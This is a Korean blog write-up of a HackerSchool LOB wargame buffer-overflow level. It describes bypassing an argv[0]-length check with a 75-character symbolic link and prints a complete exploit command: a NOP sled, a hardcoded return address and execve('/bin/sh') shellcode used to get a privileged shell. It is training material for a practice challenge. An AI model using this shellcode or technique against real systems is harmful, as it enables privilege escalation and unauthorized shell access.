뭔가 계속 순식간에 넘어가는 느낌이다.
일단 소스를 보자
나머지는 6번문제와 다 똑같은데
here is changed 부분이 추가되었다.
소스를 보니
argv[0]의 길이가 77이 아니면
프로그램은 종료된다.
따라서 argv[0]인 파일명의 길이가 77이 되어야 한다는 소리다.
어떻게 파일명을 조작할 수 있을까??
cp를 하여 파일을 복사해버리면 권한이 바뀌어 상승된 권한을 가진 쉘을 딸 수가 없다.
그럼 권한을 그대로 가진 채 파일명을 어떻게 바꿀 수 있을까?
검색하다보니 심볼릭링크를 사용하면 가능했다.
그래서 파일명의 길이를 77로 주고 만들어 보았다.
그런데 여전히 argv[0] error 가 발생하였다.
다시 검색을 해보니
파일명에 ./ 이게 붙어서 들어간다고 한다.
그래서 다시 75개로 하여 심볼릭 링크를 만들었다.
좋다.
세그멘테이션 폴트가 뜬다.
이제 나머지는 이전문제들과 똑같다.
시도해보자
./`python -c 'print "A"*75'` `python -c 'print "\x90"*44+"\x48\xfb\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*50'`
성공!
'WarGame > HackerSchool_LOB' 카테고리의 다른 글
HackerSchool LOB Level9 (0) | 2014.07.30 |
---|---|
HackerSchool LOB Level8 (0) | 2014.07.29 |
HackerSchool LOB Level6 (0) | 2014.07.29 |
HackerSchool LOB Level5 (0) | 2014.07.29 |
HackerSchool LOB Level4 (0) | 2014.07.26 |